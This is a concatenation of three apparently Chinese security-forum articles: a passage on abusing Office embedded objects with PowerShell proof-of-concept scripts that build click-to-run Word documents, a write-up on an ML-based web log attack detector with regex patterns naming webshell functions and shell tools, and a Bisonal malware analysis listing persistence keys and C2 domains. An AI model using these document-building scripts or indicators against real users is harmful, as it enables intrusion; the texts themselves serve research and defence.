bn/9HPcctwNeaXX/x1E/Lbn1/Hz/8B'
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](80384)
$DeflatedStream.Read($UncompressedFileBytes, 0, 80384) | Out-Null
[Reflection.Assembly]::Load($UncompressedFileBytes) | Out-Null
# create new Word document
$word = New-Object -ComObject Word.Application
$word.Visible = $false
$doc = $word.documents.add()
# HACK: use Packager to create a file icon in the document
$null = New-Item $tmpfile -ItemType file
$null = $doc.InlineShapes.AddOLEObject($null, $tmpfile)
Remove-Item $tmpfile
# save doc & close Word
$doc.SaveAs($filename)
$doc.Close($false)
$word.Quit()
# create temp folder for modifying the docx
$tmpfolder = "$env:TEMP\" + [System.Guid]::NewGuid()
$null = New-Item -Type directory -Path $tmpfolder
# unzip and replace Packager object
[System.IO.Compression.ZipFile]::ExtractToDirectory($filename, $tmpfolder)
Remove-Item "$tmpfolder\word\embeddings\oleObject1.bin"
# create oleObject header from base64 string
$oleheader = '0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9/////v////7///8EAAAA/v///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUA//////////8BAAAAwyqy6sEwzxGn6wAAwFuuCwAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAEACAAAAAAAAAwBPAGIAagBJAG4AZgBvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgH/////AgAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAABDAE8ATgBUAEUATgBUAFMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAgMADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAH5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAAAAAAABAAAAAQAAAODQVwBzNc8RrmkIACsuEmIAAAAAAAAAAA=='
$oleheader = [System.Convert]::FromBase64String($oleheader)
# create the shortcut
$lnk = [ShellLink.Shortcut]::new()
$lnk.LinkTargetIDList = [ShellLink.Structures.LinkTargetIDList]::new()
$lnk.LinkTargetIDList.Path = $path
# write header and shortcut to oleObject1.bin
$oleheader + $lnk.GetBytes() | Set-Content "$tmpfolder\word\embeddings\oleObject1.bin" -Encoding Byte
# rezip
Remove-Item $filename
[System.IO.Compression.ZipFile]::CreateFromDirectory($tmpfolder, $filename)
# cleanup
Remove-Item $tmpfolder -Force -Recurse
图5：嵌入式Internet Explorer，用于从启动计算器的远程网站打开Internet快捷方式文件
**Microsoft Forms 2.0 HTML控件**
* * *
Microsoft Forms
2.0对象库提供了许多可以在Office文档中使用的“HTML”ActiveX控件。这些控件标记为对初始化是安全的，并且不要求用户为嵌入它们的文档启用ActiveX。此外，这些控件的存储格式也比Shell.Explorer.1对象要简单得多。从本质上来说，这些控件是由对象的CLSID和HTML片段（UTF-16编码）组成的。此外，
这些HTML片段的格式也没有严格的要求，因为对象只会搜索它支持的属性。其中，有两个对象支持action属性，并且该属性可接收URL。这两个对象分别是：
* Forms.HTML:Image.1 (CLSID {5512D112-5CC6-11CF-8D67-00AA00BDCE1D})
* Forms.HTML:Submitbutton.1 (CLSID {5512D110-5CC6-11CF-8D67-00AA00BDCE1D})
当单击设置了action属性的嵌入对象的时候，就会打开定义的URL。对于常规URL来说，会在默认浏览器中打开，但对于文件URL（包括共享文件）来说，将直接打开。这时，将显示一个警告对话框，但该对话框与其他警告对话框略有不同，具体如图6所示。这个警告对话框对于所有文件类型来说都是相同的。
图6：从HTML控件打开文件URL时显示的警告对话框
"Forms.HTML:Image.1"可以接受一个src，该src可用于配置文档中显示的图像。这里带来的好处是，我们可以使用图像来伪装对象，例如将其伪装成嵌入式文档以诱使受害者点击它。
应该注意的是，当Office文档包含[Web标记](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/ms537628\(v=vs.85)
"Web标记")时，则会显示另一个警告对话框，指出它是从Internet下载的。由于该对话框更加显眼，所以从远程攻击者的角度来看，这种技术不太实用。
图7：从Internet下载文档时显示的警告对话框
**POC**
* * *
下面给出的PowerShell脚本可用于创建带有嵌入式Forms.HTML：Image.1对象的Word文档，单击该对象就会弹出计算器。
# target file path
$filename = [Environment]::GetFolderPath('Desktop') + '\Forms.HTML.docx'
$progid = 'Forms.HTML:Image.1'
$clsid = '5512D112-5CC6-11CF-8D67-00AA00BDCE1D'
$html = '<x type="image" src="https://securify.nl/blog/SFY20180801/packager.emf" action="file:///c|/windows/system32/calc.exe">'
# load assemblies for changing the docx (zip) file
[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression.FileSystem')
[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression')
# create new Word document
$word = New-Object -ComObject Word.Application
$word.Visible = $false
$doc = $word.documents.add()
$shape = $doc.InlineShapes.AddOLEControl($progid)
# save doc & close Word
$doc.SaveAs($filename)
$doc.Close($false)
$word.Quit()
# create temp folder for modifying the docx
$tmpfolder = "$env:TEMP\" + [System.Guid]::NewGuid()
$null = New-Item -Type directory -Path $tmpfolder
# unzip and replace ActiveX object
[System.IO.Compression.ZipFile]::ExtractToDirectory($filename, $tmpfolder)
Remove-Item "$tmpfolder\word\activeX\activeX1.bin"
$clsid = ([GUID]$clsid).ToByteArray()
$clsid | Set-Content "$tmpfolder\word\activeX\activeX1.bin" -Encoding Byte
$html | Add-Content "$tmpfolder\word\activeX\activeX1.bin" -Encoding Unicode
# rezip
Remove-Item $filename
[System.IO.Compression.ZipFile]::CreateFromDirectory($tmpfolder, $filename)
# cleanup
Remove-Item $tmpfolder -Force -Recurse
图8：嵌入的“Forms.HTML:Image.1”对象，当它被单击时会打开计算器
**受保护的视图模式**
* * *
如上所述，文档中可能会含有指示该文件是从Internet下载而来的Web标记（MOTW）。如果存在该标记，文档将在受保护的视图中打开。在这种模式下，将禁用文档中存在的任何嵌入式对象。除非攻击者利用了可以绕过受保护视图的漏洞，否则的话，则需要额外的社会工程技巧来欺骗用户单击“启用编辑”按钮。
图9：从受保护的视图中打开从Internet下载的文档
**防御措施**
* * *
防御者应该密切关注含有下列对象的文档：
* Shell.Explorer.1 / {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}
* Forms.HTML:Image.1 / {5512D112-5CC6-11CF-8D67-00AA00BDCE1D}
* Forms.HTML:Submitbutton.1 / {5512D110-5CC6-11CF-8D67-00AA00BDCE1D}
对于Shell.Explorer.1对象来说，可以从该对象中提取LNK文件并检索ID列表，从而找出单击对象时所打开的内容。我们的GitHub页面上的.NET类库[ShellLink](https://github.com/securifybv/ShellLink
"ShellLink")可用于从LNK文件中读取ID列表。通常来说，LNK文件是从持久化的Shell.Explorer.1对象的偏移量76处开始的。
HTML
Forms对象更容易解析，因为它们是带有16字节GUID的UTF-16编码的HTML片段。防御者应该知道，在Office文档中存储对象的方法有许多种。例如，ActiveX控件也可以嵌入为PersistPropertyBag对象，其中对象的属性设置在XML文件中（例如，activeX1.xml）。
**小结**
* * *
当前，诱骗受害者运行恶意可执行文件仍然是一种非常流行的攻击方法。由于微软不断提高Office和Windows的安全标准，因此，攻击者应该寻找其他方法来攻击受害者。在本文中介绍的两个备选方案中，Shell.Explorer.1技术似乎对攻击者来说最为有用，因为打开从Internet上下载的文档时，会显示针对HTML
Forms对象的附加警告对话框。
众所周知，人们可能会被欺骗而点击Office文档中的“Enable Editing/Enabled
Content”按钮。不难想象，用户也会点击其他警告对话框，这在过去的[DDE](https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ "DDE")攻击和最近利用setting content-ms文件的攻击中也有所体现。
红队（和攻击者）总是在寻找入侵组织的新方法，同时，他们从不不关心这些方法是否符合安全修复的标准。如果他们看到机会，他们就会趁虚而入。作为一名防守者，需要做到知己知彼，因为只有了解的对手的攻击手法，才能制定更好的防御措施。当然，防御者的工作不应止步于此，还要进一步通过部署应用程序白名单和[攻击面减少规则](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard
"攻击面减少规则")（或类似替代方案）之类的措施来提高攻击者的门槛。但更重要的是，确保能够了解网络上发生的事情，并假设组织已经遭到入侵并寻找入侵者。 | 社区文章 |
# 零、前言
在社区看到了这篇日志分析的文章--[《Web日志安全分析浅谈》](https://xianzhi.aliyun.com/forum/topic/1121?accounttraceid=9ef7efd4-0316-406a-9129-88852da08abc
"《Web日志安全分析浅谈》")，文章整体写的非常棒，对日志分析的作用、难点、工程化建设和攻击溯源等方面进行了全面的描述。去年的毕设我也做了相关的研究，主要是去实现一个日志分析系统，算是一个更加的完整的工程化建设，这里把一些关键的过程与大家分享。
# 一、系统设计
在开发一个项目之前当然要先做好设计，明白自己想要的是一个什么系统，可以使用哪些技术、算法和硬件设备。我们分成功能设计、数据库设计、算法结构设计、硬件拓扑设计、前端界面设计、主框架设计6个部分。
## 1.1功能设计
系统应包括系统监控、用户管理（系统使用人员）、日志管理、实时分析、离线分析等功能，并为用户提供可视化的操作、分析与结果展示界面。功能结构图如图所示：
## 1.2数据设计
系统使用MySQL数据库，库中需要建立logmanagement数据库，拥有user、offline、online三个数据表，分别为用户表、离线数据表、在线数据表。数据库中的数据表如下：
offline数据表用于存储离线日志的分析结果，每一个上传的日志文件对应一条记录，包括名称、大小、类型、起止日期、访问量最高的前10个IP地址、访问量最高的前10个URL、10大攻击类型的攻击次数、以及攻击者和被攻击者的地理位置信息。数据表结构如下：
online数据表用于存储实时分析的中间结果，数据表的结构如下：
user表是管理员的用户表，用来存储管理员的个人信息。
## 1.3算法结构设计
系统使用了三种机器学习算法进行恶意攻击的识别：逻辑回归、支持向量机和朴素贝叶斯。同时包含了传统的正则匹配算法，正则虽然无法识别未知攻击，但是在已知攻击的识别上误报率相对机器学习是比较低的。为了能够识别爆破、目录扫描等与时序有关的攻击，还应设计数值统计模块进行恶意ip访问频率的计算。此外，多种算法如何结合需要进行足够的实验，谁的权重（对结果的影响）更大？并行还是串行？本系统中对正则匹配、数值统计和机器学习（三种机器学习算法两两取交集，即实行投票机制，三种中两者检测出异常则认为异常）进行串行处理，得出一条日志的识别结果
--正常或恶意（具体到攻击类型），然后检测结果（而非日志）存储到数据库中，算法结构如图所示：
## 1.4硬件拓扑设计
为了实现系统对日志的高效收集，使用了Flume框架；为了具有大数据的处理能力，使用了Spark和HDFS做计算和存储。其中Flume与HDFS是完美兼容的，可以很方便的实现实时日志收集。这几个框架都是分布式的，结构大概如下所示
## 1.5前端界面设计
为了提供一个良好的用户交互性能，需要一个便捷的可视化界面，这里选用Flask框架开发一个Web管理平台，包含对服务器状态的监控、日志的管理以及分析结果的可视化等。
## 1.6主框架设计
主框架要能够说明系统的总体功能及数据流走向，其中，日志获取有两种途径，Web界面负责接收用户的离线上传，Flume负责实时获取；HDFS负责日志存储，自动将获取（离线和实时）的日志备份到各个节点上；Spark负责日志处理，运行特征匹配、数值统计和机器学习算法对其进行识别和分类；MySQL负责结果存储，根据日志获取途径，存储到不同的表中；Flask和Echarts负责界面展示与操作，使用多种图表样式，形象化地展示分析结果。如图所示：
离线分析就是用户通过Web界面将文本日志文件上传进行分析，相对简单，实时分析就需要严格控制数据流的走向。这里就像一个生产者与消费者的模型，Flume不断收集日志（生产）存储到HDFS，Spark
Streaming不断的从HDFS读取日志（消费），实时结构如下：
# 二、系统实现
## 2.1日志预处理
我们知道一条日志大概是这样的
115.28.44.151 - - [28/Mar/2014:00:26:10 +0800] "GET /manager/html HTTP/1.1" 404 162 "-" "Mozilla/3.0 (compatible; Indy Library)"
字段含义为：远程IP - 用户名 时间 请求主体 响应码 请求字节 请求来源 客户端信息
想要对日志进行识别分析，首先要对各字段进行提取，其中攻击识别主要依靠“请求主体”，我们可以如下正则进行提取
log_Pattern = r'^(?P<remote_addr>.*?) - (?P<remote_user>.*) \[(?P<time_local>.*?)\] "(?P<request>.*?)" '\
'(?P<status>.*?) (?P<body_bytes_sent>.*?) "(?P<http_referer>.*?)" "(?P<http_user_agent>.*?)"$'
## 2.2正则匹配
算法的匹配正则来自与网络和一些CMS厂商的的正则代码，经过多次修改测试可以识别常见的已知的Web攻击，包括SQL注入、XSS攻击、命令执行等常见Web漏洞。比如部分正则如下所示：
self.SQL_pattern = """/select(\s)+|insert(\s)+|update(\s)+|(\s)+and(\s)+|(\s)+or(\s)+|delete(\s)+|\'|\/\*|\*|\.\.\/
|\.\/|union(\s)+|into(\s)+|load_file(\s)+|outfile(\s)+"""
self.Webshell_pattern = """(preg_replace.*\/e|`.*?\$.*?`|\bcreate_function\b|\bpassthru\b|\bshell_exec\b|\bexec\b|
\bbase64_decode\b|\bedoced_46esab\b|\beval\b|\bsystem\b|\bproc_open\b|\bpopen\b|\bcurl_exec\b|\bcurl_multi_exec\b|
\bparse_ini_file\b|\bshow_source\b|cmd\.exe|KAdot@ngs\.ru|小组专用大马|提权|木马|PHP\s?反弹|shell\s?加强版|
WScript\.shell|PHP\s?Shell|Eval\sPHP\sCode|Udp1-fsockopen|xxddos|Send\sFlow|fsockopen\('(udp|tcp)|SYN\sFlood)|
z0|z1|z2|z9|caidao"""
self.XSS_pattern = """xss|javascript|vbscript|expression|applet|meta|xml|blink|link|style|script|embed|object|
iframe|frame|frameset|ilayer|layer|bgsound|title|base|onabort|onactivate|onafterprint|onafterupdate|
onbeforeactivate|onbeforecopy|onbeforecut|onbeforedeactivate|onbeforeeditfocus|onbeforepaste|onbeforeprint|
onbeforeunload|onbeforeupdate|onblur|onbounce|oncellchange|onchange|onclick|oncontextmenu|oncontrolselect|
oncopy|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|ondblclick|ondeactivate|ondrag|ondragend|
ondragenter|ondragleave|ondragover|ondragstart|ondrop|onerror|onerrorupdate|onfilterchange|onfinish|onfocus|
onfocusin|onfocusout|onhelp|onkeydown|onkeypress|onkeyup|onlayoutcomplete|onload|onlosecapture|onmousedown|
onmouseenter|onmouseleave|onmousemove|onmouseout|onmouseover|onmouseup|onmousewheel|onmove|onmoveend|onmovestart|
onpaste|onpropertychange|onreadystatechange|onreset|onresize|onresizeend|onresizestart|onrowenter|onrowexit|
onrowsdelete|onrowsinserted|onscroll|onselect|onselectionchange|onselectstart|onstart|onstop|onsubmit|
onunload(\s)+"""
所有的攻击类型如下所示
## 2.3数值统计
在所采集海量日志文本中，包含了大量用户行为、交互IP、访问次数等信息，这些信息所表现出的统计特征可以明确地表达一个网络动作，而有些动作通过传统的规则匹配、黑白名单、策略控制等方式是很难发现的。比如在一段时间内访问目标网站的Agent连接数、不同域名下出现同一URL的次数、访问应答结果中非200的请求比例等，所有这些统计结果都表达了某种特定的网络行为，而这一行为如果符合网络攻击的行为，则通过数值统计的方法就能发现。比如下表中列举的常用的基于数值统计的方式发现潜在异常行为的一些统计方法。
在实现中只进行了一定时间内某ip访问频率的计算
def check(self,dataRDD,sc):
"""按分钟切割日志，以判断访问频率"""
data_Memory = dataRDD.collect()
start = data_Memory[0]
temp_Time = time.strptime(start[2], "%d/%m/%Y:%H:%M:%S")
start_Time = datetime.datetime(temp_Time[0],temp_Time[1],temp_Time[2],temp_Time[3],temp_Time[4],temp_Time[5])
data_Min = [] #用来存储一分钟内切割的数据
data_Result = []
label = self.label
for line in data_Memory:
temp_Time = time.strptime(line[2], "%d/%m/%Y:%H:%M:%S")
end_Time = datetime.datetime(temp_Time[0],temp_Time[1],temp_Time[2],temp_Time[3],temp_Time[4],temp_Time[5])
if (end_Time-start_Time).seconds <= 10:
data_Min.append(line)
else:
data_Result += label(data_Min)
start_Time = end_Time
data_Min = []
data_Min.append(line)
tempRDD = sc.parallelize(data_Result)
return tempRDD
## 2.4特征向量
使用机器学习算法的前提是构造好的特征向量，日志的识别主要是针对日志记录中的request、referer和user-agent。request、referer都是URL路径，user-agent是浏览器名称，这三部分是用户可控且可能注入payload的地方。向量的构造方法主要参考[用机器学习玩转恶意URL检测](http://www.freebuf.com/articles/network/131279.html
"用机器学习玩转恶意URL检测")
和[基于机器学习的web异常检测](http://www.freebuf.com/articles/web/126543.html
"基于机器学习的web异常检测")，训练集分为两个部分，一个是恶意的在URL请求，主要收集于github中知名的payload仓库，大约有30000条数据，其中包括SQL注入、Traversal（目录遍历）、XSS（跨站脚本攻击）、LFI（本地文件包含）、XML注入、SSI注入、XPATH注入、Webshell攻击。恶意请求部分样例如下：
二是正常的URL请求，测试部分包括日志中的request、referer和user-agent，其中request和referer的正常样本基本一致，都是URL请求地址，user-agent虽然并不是URL但在受到攻击时仍和request、referer这两处相似，都是注入相关漏洞的payload，所以这三处在分类的可以使用相同模型。其中正常的URL取自国外的日志网站SecRepo的正常Web日志，正常请求部分样例如下：
User-agent是指了各大浏览器厂商正常的名称，训练集中正常请求部分样例如下：
将上述的训练集一分为二，90%作为训练集集，10%作为测试集并进行打标用于测试。在真正分类的时候，将所有的日志依据request、referer和user-agent这三个部分进行二分类。向量构造首先通过N-Gram将文本数据向量化，比如对于下面的例子：
首先通过长度为N的滑动窗口将文本分割为N-Gram序列，例子中，N取2，窗口滑动步长为1，可以得到如下N-Gram序列：
其中N的取值需要进行多次试验，不同的算法最佳值不同。然后声明一个长度为10000的特征向量，将这些序列映射到特征向量中，并使用TF-IDF生成特征向量的值。词频—逆文档频率（简称TF-IDF）是一种用来从文本文档（例如URL）中生成特征向量的简单方法。它为文档中的每个词计算两个统计值：一个是词频（TF），也就是每个词在文档中出现的频率，另一个是逆文档频率（IDF），用来衡量一个词在整个文档语料库中出现的（逆）频繁程度。这两个值的积，也就是TF×IDF，展示了一个词与特定文档的相关程度（比如这个词在某文档中很常见，但在整个语料库中却很少见）。
def TFIDF(self,badData,goodData,distance,step):
'''IT-IDF函数，根据不同的分词方法生成TF-IDF向量'''
tf = self.tf
badFeatures = badData.map(lambda line: tf.transform(split2(line,distance,step)))
goodFeatures = goodData.map(lambda line: tf.transform(split2(line,distance,step)))
badFeatures.cache()
goodFeatures.cache()
idf = IDF()
idfModel = idf.fit(badFeatures)
badVectors = idfModel.transform(badFeatures)
idfModel = idf.fit(goodFeatures)
goodVectors = idfModel.transform(goodFeatures)
badExamples = badVectors.map(lambda features: LabeledPoint(1, features))
goodExamples = goodVectors.map(lambda features: LabeledPoint(0, features))
dataAll = badExamples.union(goodExamples)
return dataAll
一个TF-IDF向量如下所示：
其中第一项0.0是向量的标签，表示这是一条恶意的请求，后面是各个分词序列在投影后的坐标及其TF×IDF值。
## 2.5机器学习算法
三种算法训练完毕后以后的检测只需从本地加载模型即可
def train(self,sc):
# #生成Logistic和SVMWithSGD算法数据
# dataLogistic = self.TFIDF(bad,good,3,1)
# #生成SVMWithSGD算法数据
# dataSVMWithSGD = self.TFIDF(bad,good,3,1)
# #生成NaiveBayes算法数据
# dataNaiveBayes = self.TFIDF(bad,good,2,1)
# 使用分类算法进行训练,iterations位迭代次数,step为迭代步长
# modelLogistic = LogisticRegressionWithSGD.train(data=dataLogistic,iterations=10000,step=6)
# print "train success1"
# modelLogistic.save(sc,"model/modelLogistic")
# modelSVMWithSGD = SVMWithSGD.train(data=dataSVMWithSGD,iterations=10000,step=5)
# print "train success2"
# modelSVMWithSGD.save(sc,"model/modelSVMWithSGD")
# modelNaiveBayes = NaiveBayes.train(data=dataNaiveBayes,lambda_=0.1)
# print "train success3"
# modelNaiveBayes.save(sc,"model/modelNaiveBayes")
self.modelLogistic = LogisticRegressionModel.load(sc,"modelLogistic")
self.modelSVMWithSGD = SVMModel.load(sc,"modelSVMWithSGD")
self.modelNaiveBayes = NaiveBayesModel.load(sc,"modelNaiveBayes")
def check_Line(self,line,algorithm):
"""元素检测"""
tf = self.tf
request_url = line
check_Result = 0
if "Logistic" in algorithm:
check_Result += self.modelLogistic.predict(tf.transform(split2(request_url,3,1)))
if "SVM" in algorithm:
check_Result += self.modelSVMWithSGD.predict(tf.transform(split2(request_url,3,1)))
if "NaiveBayes" in algorithm:
check_Result += self.modelNaiveBayes.predict(tf.transform(split2(request_url,2,1)))
print check_Result
print "model check : "+str(check_Result)
if check_Result>2:
line.append([-1])
else:
line.append([])
return line
def check(self,test,sc,algorithm="Logistic,SVM,NaiveBayes"):
"""执行模型检测"""
self.train(sc)
check_Line = self.check_Line
temp1 = test.map(lambda line: check_Line(line,algorithm))
return temp1.collect()
# 三、系统展示
**离线日志分析**
离线分析包括分析报表和日志管理两个子功能，用户需要在日志管理处上传日志才可通过分析报表查看分析结果（如果直接点击分析报表界面则默认显示最近一次的分析结果），日志在上传的过程中就会完成数据分析，分析结果会在分析报表界面显示并同时写入数据库。同理，用户也可以在日志管理处删除已上传的日志，但同时也会删除存在数据库中的分析结果。日志管理界面如图所示：
点击每一条记录右侧的查看按钮，即可跳到相应的分析报表界面，分析报表界面包含5个部分，分别为基本信息、访问次数最高的前10个IP、访问次数最高的前10个URL、攻击次数统计、攻击源地图。具体如图所示：
**实时日志分析**
实时分析部分包含两个显示界面，一个是访问次数（蓝色）与攻击次数（黑色）的双曲线图表，表示当前时间访问的次数以及当中可能包含的攻击次数，两者同时显示，相互对比；另一个是百度地图实时地理位置的世界地图图表。显示界面如下：
# 四、一些问题
1、程序运行起来虽然看起来还可以，但是识别率其实比较一般，一是正则写的不够完善；二是机器学习误报有点高，如果把判别条件放太宽，会出现一些低级分类错误。
2、算法中机器学习其实只是一个二分类，具体的攻击类别要靠正则识别，正则识别不出来而算法识别出来的则为未知攻击类型。
3、这里的实时其实是伪实时。
# 五、参考文献
<http://www.freebuf.com/articles/web/126543.html>
<http://www.freebuf.com/articles/web/134334.html>
<http://www.freebuf.com/sectool/126698.html>
<http://blog.csdn.net/xnby/article/details/50782913> | 社区文章 |
本文翻译自：<https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/>
* * *
# 攻击概要
5月初，Unit
42的研究人员发现一起针对俄罗斯国防公司和韩国企业的攻击活动，攻击活动中传播的恶意软件是Bisonal恶意软件的变种。Bisonal恶意软件从2014年就开始活跃了。Bisonal变种与之前的Bisonal恶意软件主要有三大不同，分别是C2通信的加密方法，网络通信和驻留机制的代码重写。
截止目前，研究人员只收集到该变种的14个样本，说明使用并不广泛。在攻击活动中，攻击者会诱使用户加载伪装为PDF文件的Windows可执行恶意软件。下面对针对俄罗斯和韩国的攻击活动进行分析。
# 针对俄罗斯的攻击活动
研究人员发现针对俄罗斯的攻击活动主要目标为提供通信安全服务和产品的公司，这些被攻击企业的另外一个特点是提供加密和密码服务，并开发了包括电信系统和数据保护设施在内的安全通信产品。由于目标企业开发的产品的敏感性，所以成为攻击的目标也就不足为奇了。
图1是发给目标企业的鱼叉式钓鱼攻击的邮件，邮件伪装成来自于俄罗斯工业与科技集团(Rostec)，Rostec主要致力于研发、生产及出口高科技产品。
图1. 发给俄罗斯公司公司的鱼叉式钓鱼邮件
邮件的大致内容为该公司中标了”国防工程住房建设合作社综合项目”，并含有一个exe附件。
如图1所示，一些客户端软件并不会把附件显示为pdf文件。但把文件保存到电脑后，就会显示为pdf文件。一旦恶意可执行附件打开，主payload就会释放到受害者设备上，并显示为一个诱饵文件。图2就是诱饵文件的内容，一篇2018年1月30日Rostec官网发布的文章，内容与邮件正文内容一致。
图2 诱饵pdf文件
# 恶意软件分析
## Dropper
针对俄罗斯的攻击中释放的可执行文件在主体后隐藏了加密的Bisonal
DLL文件和恶意诱饵文件。一旦执行，dropper就会用RC4和密钥“34123412”解密数据，保存在下面的路径下并执行。
表 1. 针对俄罗斯的攻击文件哈希和路径
Dropper会创建下面的注册表记录，在计算机重启后执行Bisonal样本：
`HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” =
“rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”`
## 主模块
DLL
(pvcu.dll)是Bisonal恶意软件，但使用的是不同的C2通信密码。据报道，2014年和2015年Bisona使用的XOR运算来隐藏主体中的C2地址字符串。本样本中的Bisonal使用的是RC4算法，使用的key是78563412。研究人员发现，所有使用RC4算法的Bisonal样本使用的key都是相同的。
加密类型的变化会导致大量的代码重写，比如网络通信过程、驻留的方法等。比如，2012年的Bisonal样本使用send()和recv()
API与C2服务器通信；而变种使用的是HttpSendRequest()和InternetReadFile()这一类的网络API。
最近攻击中的Bisonal变种用HTTP POST方法在TCP 443端口上与硬编码的C2地址通信。
* kted56erhg.dynssl[.]com
* euiro8966.organiccrap[.]com
上面的域名是由免费的DDNS服务提供的，解析的IP地址为116.193.155[.]38。
当Bisonal变种与C2进行通信时，恶意软件会发送含有静态字符串`“ks8d”`和`“akspbu.txt”`、被黑机器IP地址的HTTP
POST请求给C2服务器。
图3. 初始的网络C2
大家可能注意到了`User Agent`请求头中缺右括号。该字符串是硬编码到恶意软件变种中的，研究人员一共收集了超过230个Bisonal
样本，但只有14个使用这种不完整的User Agent字符串。
目前还不清楚是作者在开发时写漏了还是故意用该字符串来验证到C2的连接。但研究人员认为这可以作为Bisonal感染的网络日志IoC。
## C2通信
被感染的另一个标志是初始连接过程中发送给C2的数据。Bisonal变种在与C2通信时间，会在前8个字节中发送唯一的id号和后门命令。恶意软件在初始连接时会发送硬编码的DWORD值（0x10000和0x3E7），接收来自C2的值，并用于之后的通信。所有的通信都是用RC4算法加密的，使用的key为`78563412`。
对静态值加密后，后门会发送相同的数据前8字节（`81b2a8977ea31b91`）给C2。然后接受来自受害者机器的初始信标，C2会返回一个session
id号和后门命令。session id号就是与C2通信的流量一致的。然后恶意软件会在受害者系统上处理给定的命令，并将含有session
id号和后门命令号的结果返回给C2。然后C2会响应相同的session id号。之后，后门会等待5秒钟然后用相同的session id号与C2重新通信。
下图是对命令`get system
info`的响应示例。C2与Bisonal样本的真实流量为左图，解密的payload为右图。第一个DWORD（4字节）是给定的session
id（0x00000003），下一个DWORD是后门命令`0x000000C8`。解密的payload中的偏移8处，是攻击活动或目标代码（代号），本例中是`0425god`。
图4 解密后的payload
下图是Bisonal和C2的会话session：
图5. Bisonal C2通信流
下表是恶意软件样本支持的后门命令：
表2 后门命令
## 西里尔(Cyrillic)字母
Bisonal
恶意软件攻击的区域主要是日本、韩国和俄罗斯。研究人员发现针对俄罗斯企业进行攻击的样本中还有一个特点就是会进行Cyrillic语言检查。当后门接收到shell
access命令后，就会检查被黑系统的代码页面。如果语言是Cyrillic，而且命令不是ipconfig，就将命令结果文本从Cyrillic变为UTF-16编码。其他模式Windows
ANSI代码的页面也会转变为UTF-16编码。
恶意软件作者只针对Cyrillic转变为UTF-16的原因并不明确。Windows
ANSI代码页支持ASCII码字符和非ASCII码字符，UTF-16最多支持Unicode编码的100万字符。为了避免破坏结果中的Cyrillic字符，开发者将这段代码加入到恶意软件中了。
图6. 检查Cyrillic字符集
shell access后门命令中的
Cyrillic/ipconfig检查存在于一些早期的Bisonal样本中。样本`43459f5117bee7b49f2cee7ce934471e01fb2aa2856f230943460e14e19183a6`中就含有maker字符串bisonal，这也是恶意软件名字的来源。这也是识别最近的攻击样本与Bisonal关系的一个标识。
图7. ‘bisonal’ marker字符串
# 针对韩国的攻击活动
与攻击俄罗斯企业的Bisonal变种类似，针对韩国企业攻击的Bisonal变种也伪装成pdf文档。
图8. 恶意软件伪装成pdf文档
Dropper可执行文件会安装Bisonal和一个诱饵文件到表3中的路径中。
表 3 针对韩国的攻击中的文件哈希和系统安装路径
虽然针对韩国和俄罗斯攻击的两个dropper样本的功能看着非常相似，实际上样本的dropper代码是完全不同的。
针对韩国攻击的dropper会安装Bisonal
EXE文件和诱饵pdf文件。这些文件都是不加密的，dropper中exe和pdf文件的偏移量加在了dropper文件的结尾。针对俄罗斯攻击的样本中，这些文件的偏移量是硬编码在代码中的。
